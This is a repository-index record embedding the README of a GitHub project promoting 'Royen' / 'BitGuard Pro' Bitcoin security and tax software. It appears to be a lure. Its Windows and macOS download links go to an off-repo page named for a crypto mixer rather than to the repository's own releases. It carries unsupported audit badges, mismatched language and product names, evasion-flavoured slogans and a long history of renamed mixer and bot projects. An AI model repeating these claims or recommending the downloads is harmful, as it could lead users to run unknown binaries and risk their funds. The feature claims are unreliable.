{"id":26932874,"url":"https://github.com/vatsi2/bitcoin-investor-software","last_synced_at":"2025-04-02T09:00:15.994Z","repository":{"id":281194312,"uuid":"944514594","full_name":"vatsi2/Bitcoin-Investor-Software","owner":"vatsi2","description":"Bitcoin whales slash taxes 47%, lock millions offline, and trade undetected. Royen: 2025’s elite crypto fortress. Become untouchable.","archived":false,"fork":false,"pushed_at":"2025-04-01T02:44:19.000Z","size":896,"stargazers_count":394,"open_issues_count":0,"forks_count":93,"subscribers_count":36,"default_branch":"main","last_synced_at":"2025-04-01T03:31:43.519Z","etag":null,"topics":["bitcoin","bitcoin-halving","bitcoin-secure","bitcoin-tax-application","cold-storage","crypto-tax","fifo","hodlers","irs","lifo","liquidity-management","multisig-wallets","otc-exchange","regulatory-reporting","self-custody","tax-calculation","whale-tracker","zero-trust"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vatsi2.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-07T13:34:42.000Z","updated_at":"2025-04-01T02:44:22.000Z","dependencies_parsed_at":"2025-03-31T23:30:01.393Z","dependency_job_id":null,"html_url":"https://github.com/vatsi2/Bitcoin-Investor-Software","commit_stats":null,"previous_names":["vatsi2/defi-trading-tool-rwa-crosschain","vatsi2/whale-flow","vatsi2/anti-liquidation-anti-mev-flash-loans-arbitrage-bot","vatsi2/defi-mev-protection-flashloan-anti-liquidation-bot","vatsi2/crosschain-anonymizer-cca","vatsi2/crosschain-anonymizer-cca-dex-crypto-mixer","vatsi2/dex-crypto-mixer-tor-btc-eth-xmr","vatsi2/bitcoin-dex-trading-software","vatsi2/defi-algo-trading-bot","vatsi2/bitcoin-guard","vatsi2/mev-fortress-pro","vatsi2/bitcoin-security-software","vatsi2/bitcoin-software","vatsi2/bitcoin-investor-software"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-Investor-Software","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-Investor-Software/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-Investor-Software/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vatsi2%2FBitcoin-Investor-Software/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vatsi2","download_url":"https://codeload.github.com/vatsi2/Bitcoin-Investor-Software/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246785427,"owners_count":20833490,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bitcoin","bitcoin-halving","bitcoin-secure","bitcoin-tax-application","cold-storage","crypto-tax","fifo","hodlers","irs","lifo","liquidity-management","multisig-wallets","otc-exchange","regulatory-reporting","self-custody","tax-calculation","whale-tracker","zero-trust"],"created_at":"2025-04-02T09:00:14.151Z","updated_at":"2025-04-02T09:00:15.942Z","avatar_url":"https://github.com/vatsi2.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🛡️ Royen\nBitcoin Security Software | Tax Optimization \u0026 Multisig Wallet | OTC Trading \u0026 Regulatory Compliance \n## 🔥 **Description**  \n**Royen** Institutional-Grade Security, Tax Slashing HODL Strategies \u0026 Zero-Slippage OTC Liquidity. Whale-Approved Vault.\n\u003cp align=\"center\"\u003e\u003cimg width=\"900\" height=\"600\" src=\"board/1.jpg\" alt=\"interface\" /\u003e\u003c/p\u003e\n\n[![Audited by OpenZeppelin](https://img.shields.io/badge/Audit-OpenZeppelin-green)](https://openzeppelin.com)\n[![MPC Wallet Support](https://img.shields.io/badge/Security-Fireblocks%20MPC-blue)](https://)\n\n# Download\n### **Download** [Windows](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/windows) / [macOS](https://selenium-finance.gitbook.io/decentralized-crypto-mixer/download/macos)\n\n[![License](https://img.shields.io/badge/License-MIT-green)](https://github.com/yourusername/defi-algo-bot)\n[![Python](https://img.shields.io/badge/Python-3.10%2B-blue)](https://www.python.org)\n[![Web3](https://img.shields.io/badge/Web3.py-6.0+-brightgreen)](https://web3py.readthedocs.io)\n\n\u003e Dump $500K+ Tax-Free, Lock 8-Figure Bags Offline \u0026 Trade Like a Ghost.\n\n## 🚀 **Key Features**  \n\n### 🔒 Secure Vault (Multisig + Cold Storage)\n- **AES-256 \u0026 ChaCha20 Encryption** for private keys.  \n- **2/3, 3/5 Multisig** with Ledger/Trezor/Offline Device support.  \n- **Shamir Secret Sharing** (SLIP-39) for seed phrase backup.  \n- **UTXO Management** with Coin Control (avoid address reuse).  \n\n### 💹 OTC Liquidity Planner\n- **Slippage Minimization** using Glassnode liquidity data.  \n- **Dark Pool Integration** (Binance OTC, Coinbase Prime).  \n- **Whale Movement Alerts** via Whale Alert API.  \n\n### 📊 Bitcoin Core Integration\n- **Full Node Sync** for SPV-less verification.  \n- **PSBT (Partially Signed Bitcoin Transactions)** workflow for air-gapped signing.  \n\n### 📑 Tax Optimizer\n- Automated **FIFO, LIFO, HIFO** calculations for IRS/HMRC compliance.  \n- **CoinJoin \u0026 Wasabi Wallet** transaction labeling (privacy-aware reporting).  \n- **Tax-Loss Harvesting** alerts and CSV exports for TurboTax/CryptoTax.  \n\n### 🌐 Regulatory Watchdog\n- Real-time updates on **MiCA (EU), IRS Form 8949, FATF Travel Rule**.  \n- **KYC/AML Checklist** for transactions \u003e$10k.  \n- **Jurisdiction Analyzer** (compare tax rates across 50+ countries).\n\n\u003cp align=\"center\"\u003e\u003cimg width=\"1280\" height=\"268\" src=\"board/4.jpg\" alt=\"interface\" /\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\u003cimg width=\"1280\" height=\"266\" src=\"board/5.jpg\" alt=\"interface\" /\u003e\u003c/p\u003e\n\n## Core Modules\n\n### 1. Secure Vault (Storage)\n\nFunctionality:\n  - Integration with hardware wallets (Ledger, Trezor) via local API.\n  - Generation of multisignature addresses with key distribution across trusted devices.\n  - AES-256 encryption for data storage, with keys kept only on the user’s device.\n  - Automatic encrypted backups to external storage.\nSolves: Protection against hacks and key loss.\n\n### 2. Tax Optimizer (Tax Calculator)\n\nFunctionality:\n  - Offline analysis of BTC transaction chains (via local Bitcoin Core node).\n  - Tax liability calculations for jurisdictions (USA, EU, Switzerland, etc.) using FIFO, LIFO, HIFO.\n  - Generation of tax reports in formats compatible with authorities (PDF/Excel).\n  - Simulation of withdrawal scenarios for tax minimization (e.g., stablecoins, OTC trades).\nSolves: Tax optimization and regulatory risks.\n\n### 3. Liquidity Planner (Liquidity Manager)\n\nFunctionality:\n  - Offline simulator for large BTC sales using historical liquidity data (e.g., cached Glassnode API).\n  - Calculation of optimal orders to minimize slippage and market impact.\n  - Integration with P2P platforms and OTC exchanges via encrypted API keys (no server data transfer).\nSolves: Managing volatility and liquidity.\n\n### 4. Regulatory Watchdog (Compliance Monitor)\n\nFunctionality:\n  - Local database of up-to-date cryptocurrency laws (updated via decentralized networks like IPFS).\n  - Encrypted RSS notifications for regulatory changes (e.g., EU anonymous transaction bans).\n  - KYC/AML checklists for fund withdrawals.\nSolves: Regulatory uncertainty.\n\n### 5. Cycle Tracker (Market Cycle Analyzer)\n\nFunctionality:\n  - Analysis of halvings, hash rate, and whale activity via blockchain data (no third-party servers).\n  - Local graphics engine for price models (e.g., Stock-to-Flow forecasts).\n  - Event calendar (e.g., BTC ETF application deadlines).\nSolves: Cycle forecasting and decision-making.\n\n### Tech Stack\n  - Language: Rust (security and performance).\n  - Database: SQLite with table-level encryption.\n  - Network: Tor support for anonymous API requests.\n  - UI: Qt Framework (cross-platform: Windows, macOS, Linux).\n\n### Core Principles\n  - Zero-Trust Architecture: All data processed locally; no cloud sync.\n  - Transparency: Open-source code (community-audited).\n  - Autonomy: Offline operation (except modules requiring external data).\n\n### Use Case Example\n\nScenario: A holder of 50 BTC wants to sell 10 BTC while minimizing taxes and market impact.\n  1. Liquidity Planner simulates an OTC trade.\n  2. Tax Optimizer uses HIFO to reduce tax payments by 15%.\n  3. Regulatory Watchdog verifies EU compliance.\n  4. Secure Vault signs the transaction via multisignature.\n\n\n## ⚙️ Configurable Settings \u0026 Usage Guide(Just choose in GUI)\nConfigurable Settings \u0026 Usage Guide\n### I. Configurable Parameters\n#### 1. Secure Vault (Storage Module)\n\nParameters:\n\n- Multisignature:\n  - Signature threshold (e.g., 2/3, 3/5).\n  - Key storage devices (Ledger, Trezor, cold wallets).\n\n- Encryption:\n  - Algorithm (AES-256, ChaCha20).\n  - Auto-backup frequency (daily/weekly).\n\n- Transaction Threshold:\n  - Minimum amount to trigger multisig (e.g., \u003e1 BTC).\n\n#### 2. Tax Optimizer (Tax Module)\n\nParameters:\n\n- Tax Calculation Method: FIFO, LIFO, HIFO.\n- Jurisdictions: Country selection (USA, Germany, Singapore, etc.).\n- Optimization Scenarios:\n  - Stablecoin conversion threshold (e.g., sell BTC if price \u003e$60k).\n  - Alerts for tax benefits (e.g., long-term holdings).\n\n#### 3. Liquidity Planner (Liquidity Module)\n\nParameters:\n\n- Order Limits:\n  - Max daily sell volume (e.g., 5 BTC).\n  - Slippage tolerance (e.g., \u003c2%).\n\n- Data Sources:\n  - Glassnode integration (cached via IPFS).\n  - Manual liquidity input for OTC trades.\n\n#### 4. Regulatory Watchdog (Compliance Module)\n\nParameters:\n\n- Notification Filters:\n  - Regions (EU, USA, Asia).\n  - Event types (bans, taxes, KYC).\n\n- Checklists:\n  - Withdrawal requirements (e.g., verification for \u003e$10k transactions).\n\n#### 5. Cycle Tracker (Market Analysis Module)\n\nParameters:\n\n- Forecast Models:\n  - Algorithm selection (Stock-to-Flow, Mayer Multiple).\n  - Halving/whale activity alerts.\n\n- Event Calendar:\n  - Custom event tagging (e.g., BTC ETF deadlines).\n\n### II. Usage in Specific Scenarios\n\nScenario 1: Selling 20 BTC with Minimal Taxes \u0026 Market Impact\n  - Liquidity Planner Setup:\n    1. Set daily sell limit: 5 BTC/day with \u003c1% slippage.\n    2. Load historical liquidity data for Binance OTC.\n\n  - Tax Calculation:\n    1. Enable HIFO to prioritize high-cost BTC sales.\n    2. Export PDF report for tax authorities.\n\n  - Transaction Signing:\n    1. Use 3/5 multisig (2 hardware wallets + 1 PC).\n\nScenario 2: Mitigating EU Regulatory Changes\n  - Regulatory Watchdog Setup:\n    1. Enable alerts for \"anonymous wallet bans.\"\n    2. Sync laws via IPFS node.\n\n  - Secure Vault Adjustments:\n    1. Activate KYC checklist for \u003e€1000 transactions.\n    2. Update encrypted backups to an external SSD.\n\nScenario 3: Long-Term Holding (HODL)\n  - Cycle Tracker Setup:\n    1. Enable alerts for halvings and $100k price target.\n    2. Plot Stock-to-Flow model for trend analysis.\n\n  - Backup Strategy:\n    1. Weekly encrypted backups to 2 hardware wallets.\n\n### III. Critical Security Settings\n- Tor Integration:\n  - Route all traffic via Tor (Settings → Network → Anonymity).\n\n- Database Encryption:\n  - Set SQLite password + AES-256 encryption (Settings → Security → Database Encryption).\n\n- Offline Mode:\n  - Disable internet for non-essential modules (Tax Optimizer, Secure Vault).\n\n### IV. Example Configuration (config.yaml)\n```\nsecurity:  \n  multisig_threshold: 3/5  \n  encryption: AES-256  \n  backup_interval: weekly  \ntax:  \n  method: HIFO  \n  jurisdiction: USA  \nliquidity:  \n  daily_limit: 5 BTC  \n  slippage_tolerance: 1%  \nregulatory:  \n  regions: [EU, US]  \n  alerts: [ban, tax]  \nnetwork:  \n  tor_enabled: true  \n  bitcoin_node: ~/.bitcoin\n```\n\n### V. Recommendations\n- For \u003e$500k transactions, use OTC deals via Liquidity Planner.\n- Before halvings, enable \"Accumulation Mode\" in Cycle Tracker to analyze historical patterns.\n- Store Secure Vault backups on hardware media in a safe.\n\n### 🔧 Security Module\n```\nsecurity:  \n  multisig_threshold: \"3/5\"  \n  encryption_algorithm: \"AES-256\"  \n  shamir_shares: 5  \n  auto_backup_interval: \"weekly\"  \n  max_unsigned_tx_value: 5.0\n```\n- Encryption Algorithms: Choose between XChaCha20-Poly1305 or AES-256.\n- Session Timeouts: Auto-lock after 5–60 minutes of inactivity.\n- API Permissions: Restrict CEX integrations to read-only mode.\n\n\n### 📉 Tax Module\n```\ntax:  \n  accounting_method: \"LIFO\"  \n  tax_free_threshold: 1000  \n  coinjoin_labeling: true  \n  tax_year_end: \"03-31\"\n```\n### Liquidity Module\n```\nliquidity:  \n  daily_sell_limit: 10.0  \n  slippage_tolerance: \"0.8%\"  \n  whale_alert_threshold: 200  \n  preferred_exchanges: [\"Binance OTC\", \"Gemini\"]\n```\n### Regulatory Module\n```\ncompliance:  \n  kyc_threshold: 5000  \n  reporting_jurisdictions: [\"US\", \"DE\", \"SG\"]  \n  travel_rule_enabled: true\n```\n### Network Module\n```\nnetwork:  \n  tor_routing: false  \n  bitcoin_node_rpc: \"/custom/bitcoin/data\"  \n  api_whitelist: [\"glassnode.com\", \"blockchain.info\"]\n```\n## Wallet integration (Wasabi, Electrum, CEX)\n\n### 1. Connecting Wasabi Wallet\n\nGoal: Import transactions, balances, and CoinJoin data.\n\nSettings:\n\n- Local File Sync:\n  - Wasabi stores data in the WalletFiles folder. BitGuard Pro scans this directory (with user permission) and imports:\n    - Public addresses.\n    - CoinJoin transaction history.\n    - Balances (encrypted).\n  - Data encryption: AES-256 with a key derived from the user’s master password.\n\n-  Advanced API Integration:\n    - Run Wasabi in the background with access to its RPC interface (port 37128).\n    - Example balance request:\n```\n        curl --data '{\"jsonrpc\":\"2.0\",\"method\":\"getbalance\"}' http://localhost:37128/\n```\n - Royen uses this data for privacy analysis (e.g., tracking mixed UTXOs).\n\nRisks:\n- Accessing Wasabi files requires disabling its \"read-only mode.\"\n- Solution: \"Import-only\" mode without write permissions.\n\n### 2. Integration with CEX (Binance, Coinbase, Kraken)\n\nGoal: Monitor balances and execute OTC trades.\n\nSettings:\n\n- Read-Only API Keys:\n   - Users create API keys with no trading/withdrawal permissions.\n   - Keys are encrypted locally (XChaCha20-Poly1305) and stored in SQLite.\n\n- Manual CSV Import:\n   - For full isolation: upload exchange transaction history files.\n   - Supported formats: Binance CSV, Coinbase Form 8949.\n\n\n- Offline Sync:\n  - To fetch real-time data:\n    1. Royen generates API requests.\n    2. Users manually copy them to a browser with VPN/Tor enabled.\n    3. Responses (JSON) are imported via QR code or file.\n\nExample Workflow for Binance:\n\n1. In the CEX Sync section, select \"Binance.\"\n2. Copy the generated balance request URL:\n```\n    https://api.binance.com/api/v3/account?timestamp=123456789\u0026signature=XXXXX\n```\n3. Open the URL in an isolated browser, log in, and save the response as binance_balance.json.\n4. Load the file into Royen → data is decrypted and analyzed offline.\n\n### 3. Universal Wallet Module\n\nGoal: Support any wallet (Electrum, Exodus, Trezor Suite).\n\nSettings:\n\n- xPub/yPub/zPub Key Import:\n   - Users enter a wallet’s public key → Royen tracks balances/transactions via a local Bitcoin Core node.\n   - Data never leaves the device.\n\n- Hardware Wallet Integration:\n   - Connect Ledger/Trezor via USB.\n   - Read addresses and sign transactions without exporting private keys.\n\nExample for Ledger:\n\n1. In the Wallets section, select \"Ledger.\"\n2. Connect the device and confirm access on the Ledger screen.\n3. Royen displays balances and prompts to sign pre-built transactions.\n\n### 4. Security Rules\n\n- CEX Key Isolation:\n   - API keys are encrypted and never used for automated actions.\n   - Access requires a master password.\n\n- Wallet Audits:\n   - Security Audit section → risk reports (e.g., \"Wasabi Wallet v2.0 has CVE-2023-XXX vulnerability\").\n\n- Tor Routing for CEX Requests:\n   - All manual HTTP requests to exchanges use the built-in Tor client.\n\n### 5. Configuration Example\n\nFile wallets.yaml:\n```\nwallets:  \n  - name: \"Wasabi Main Wallet\"  \n    type: \"wasabi\"  \n    path: \"~/walletdata/Wasabi/Client/WalletFiles\"  \n    read_only: true  \n\n  - name: \"Binance BTC\"  \n    type: \"cex\"  \n    exchange: \"binance\"  \n    api_key_encrypted: \"a1b2c3...xyz\"  \n    import_method: \"csv\"  \n\n  - name: \"Ledger Cold Storage\"  \n    type: \"hardware\"  \n    model: \"ledger_nano_x\"  \n    xpub: \"zpub6...\"\n```\n\n### 6. Usage Scenarios\n\nScenario 1: CoinJoin Privacy Analysis\n\n1. Import Wasabi data into Royen.\n2. In the Tax Optimizer, label mixed UTXOs as \"non-personally associated.\"\n3. Generate tax reports excluding anonymized transactions (where legal).\n\nScenario 2: Monitoring CEX Risks\n1. Load Binance balances via manual JSON import.\n2. If the exchange freezes withdrawals, Regulatory Watchdog suggests moving BTC to a decentralized wallet.\n\n    \n## 🧩 Example Use Cases\n\nCase 1: Selling 50 BTC via OTC with Tax Savings\n\n  1. Liquidity Planner splits sales into 5 BTC/day batches to avoid slippage.\n  2. Tax Optimizer selects HIFO method, saving 12% vs FIFO.\n  3. Secure Vault signs via 3/5 multisig (2 Ledgers + 1 air-gapped PC).\n\nCase 2: Preparing for EU MiCA Compliance\n\n  1. Regulatory Watchdog flags non-KYC UTXOs.\n  2. Wasabi Wallet Integration mixes 20 BTC via CoinJoin.\n  3. Compliance Report auto-generated for regulators.\n\n## 🛠️ Integrated APIs \u0026 Libraries  \n| API/Library          | Use Case                          | Security Protocol       |  \n\n|----------------------|-----------------------------------|-------------------------| \n \n| **Glassnode**        | Liquidity analysis, Whale alerts  | IPFS-cached data        |  \n\n| **Ledger/Trezor**    | Cold storage multisig             | USB HID + U2F           |  \n\n| **Binance/Coinbase** | OTC balance sync                  | Read-only API keys       |  \n\n| **Blockchain.com**   | UTXO explorer                     | Tor routing              |  \n\n| **Bitcoin Core RPC** | Transaction parsing               | Local node (no cloud)   | \n\n## ❓ FAQ\nQ: Can governments/CEX freeze my BTC with BitGuard Pro?\n\nA: No. Private keys never leave your device.\n\nQ: How to integrate with Binance?\n\nA: Use read-only API keys (no withdrawal permissions).\n\nQ: Is HIFO tax method legal in my country?\n\nA: Consult a tax pro. BitGuard Pro supports 8 accounting standards.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbitcoin-investor-software","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fvatsi2%2Fbitcoin-investor-software","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fvatsi2%2Fbitcoin-investor-software/lists"}